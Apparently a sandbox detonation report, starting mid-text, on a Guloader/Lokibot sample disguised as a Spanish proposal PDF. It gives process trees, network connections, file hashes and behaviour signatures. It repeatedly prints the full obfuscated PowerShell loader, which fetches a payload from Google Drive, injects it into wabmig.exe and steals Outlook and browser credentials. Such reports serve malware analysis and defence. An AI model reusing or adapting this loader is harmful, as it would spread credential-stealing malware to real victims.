edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.179.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.179.227:80 | o.pki.goog | tcp |
| GB | 142.250.179.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/2496-4-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp
memory/2496-5-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp
memory/2496-7-0x0000000002330000-0x0000000002338000-memory.dmp
memory/2496-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp
memory/2496-6-0x000000001B5C0000-0x000000001B8A2000-memory.dmp
memory/2496-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp
memory/2496-12-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2QMFN71J5C52LMTUYAGP.temp
| MD5 | 2467cc53055e8e217851d00b09329658 |
| SHA1 | ff980d45674c813527e017ef595801ecb0bac5da |
| SHA256 | 0c2871b282f9b079015a5833db741d2250a939f7ff3955ff16eafd9365f2aacf |
| SHA512 | 423ab090af2014a337721f7da8390be4c08b99dff09dbb6fb711d7ba3378c6650b726f4a229be10db1d613bd9912f463dcf123bab18800da69afc0528f617245 |
C:\Users\Admin\AppData\Roaming\Fejres.Ind
| MD5 | 14838f971ce22130c51b9a7cc01b590a |
| SHA1 | e368099b26f7b1778b784f1057daee1ac1f0dcd8 |
| SHA256 | c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373 |
| SHA512 | 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026 |
memory/2496-16-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp
memory/1996-17-0x0000000006740000-0x0000000009997000-memory.dmp
memory/2300-18-0x0000000000630000-0x0000000003887000-memory.dmp
memory/2300-41-0x0000000000400000-0x0000000000581000-memory.dmp
memory/2300-42-0x0000000000630000-0x0000000003887000-memory.dmp
memory/2496-43-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-16 14:12
Reported
2024-09-16 14:14
Platform
win10v2004-20240802-en
Max time kernel
144s
Max time network
142s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 5064 set thread context of 3388 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro 